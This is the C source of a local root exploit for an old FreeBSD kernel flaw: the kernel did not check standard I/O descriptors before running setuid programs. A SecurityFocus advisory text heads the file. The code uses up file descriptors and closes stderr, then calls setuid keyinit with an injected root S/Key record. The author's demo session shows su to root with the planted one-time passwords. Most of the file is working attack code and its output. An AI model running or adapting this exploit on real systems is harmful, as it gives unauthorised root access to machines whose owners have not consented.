/*
source: https://www.securityfocus.com/bid/4568/info
It has been reported that BSD-based kernels do not check to ensure that the C library standard I/O file descriptors 0-2 are valid open files before exec()ing setuid images. Consequently, I/O that are opened by a setuid process may be assigned file descriptors equivelent to those used by the C library as 'standard input','standard output', and 'standard error'.
This may result in untrusted, attacker supplied data being written to sensitive I/O channels. Local root compromise has been confirmed as a possible consequence.
*/
/*
phased/b10z
phased@snosoft.com
23/04/2002
stdio kernel bug in All releases of FreeBSD up to and including 4.5-RELEASE
decided to make a trivial exploit to easily get root :)
> id
uid=1003(phased) gid=999(phased) groups=999(phased)
> ./iosmash
Adding phased:
<--- HIT CTRL-C --->
> su
s/key 98 snosoft2
Password:MASS OAT ROLL TOOL AGO CAM
xes#
this program makes the following skeys valid
95: CARE LIVE CARD LOFT CHIC HILL
96: TESS OIL WELD DUD MUTE KIT
97: DADE BED DRY JAW GRAB NOV
98: MASS OAT ROLL TOOL AGO CAM
99: DARK LEW JOLT JIVE MOS WHO
http://www.snosoft.com
cheers Joost Pol
*/
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
while(dup(1) != -1);
close(2);
execl("/usr/bin/keyinit",
"\nroot 0099 snosoft2 6f648e8bd0e2988a Apr 23,2666 01:02:03\n");
}
